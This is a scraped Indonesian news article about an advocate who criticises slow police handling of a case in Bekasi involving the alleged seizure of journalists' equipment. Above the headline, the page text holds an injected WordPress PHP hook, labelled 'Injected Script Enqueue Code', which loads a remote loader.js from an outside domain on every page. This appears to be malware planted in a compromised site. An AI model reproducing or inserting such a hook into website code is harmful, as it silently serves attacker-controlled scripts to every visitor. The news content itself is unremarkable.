// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Advokat 9 Naga Soroti Lambannya Penanganan Kasus Mangapul Sirait di Polres Bekasi – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
BekasiHukum dan Kriminal

Advokat 9 Naga Soroti Lambannya Penanganan Kasus Mangapul Sirait di Polres Bekasi

22
×

Advokat 9 Naga Soroti Lambannya Penanganan Kasus Mangapul Sirait di Polres Bekasi

Sebarkan artikel ini
Advokat 9 Naga Soroti Lambannya Penanganan Kasus Mangapul Sirait di Polres Bekasi

Bekasi Fakta Terkini– Prof. Dr. Sutan Nasomal, S.Pd.I., S.E., S.H., M.H., yang dikenal luas sebagai Advokat “Sembilan 9 Naga”, mendesak Dewan Pers dan Kapolres Metro Bekasi Kota untuk segera mengambil tindakan tegas atas lambannya penanganan kasus dugaan pelanggaran Undang-Undang Pers serta perampasan alat kerja wartawan yang diduga dilakukan oleh Ketua Umum Perisai Kebenaran Nasional (PKN), Mangapul Sirait.

Kasus tersebut sebelumnya telah dilaporkan ke Polres Metro Bekasi Kota. Namun hingga saat ini, belum ada kejelasan hukum ataupun langkah konkret dari aparat penegak hukum. Prof. Sutan menilai, sikap pasif dari Kasat Reskrim Polres Metro Bekasi Kota patut diduga sebagai bentuk pengabaian terhadap proses hukum yang seharusnya dijalankan.

Example 300x600

> “Ini bukan hanya persoalan hukum, tetapi menyangkut kebebasan pers dan perlindungan terhadap wartawan dalam menjalankan tugas jurnalistik. Perampasan alat kerja wartawan adalah bentuk nyata kriminalisasi dan upaya pembungkaman kebebasan pers,” tegas Prof. Sutan Nasomal dalam keterangan tertulisnya, Selasa (30/7/2025).

 

Ia menambahkan bahwa Dewan Pers perlu turun langsung memantau dan mendorong proses hukum agar kasus tersebut tidak dipetieskan. Ia juga mengingatkan bahwa pembiaran terhadap pelanggaran semacam ini bisa menjadi preseden buruk bagi penegakan hukum dan perlindungan jurnalis di Indonesia.

> “Kami akan terus mengawal kasus ini sampai tuntas. Kebebasan pers adalah salah satu tiang demokrasi yang tidak boleh dirusak oleh siapa pun,” tegasnya menutup pernyataan.

(red)

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *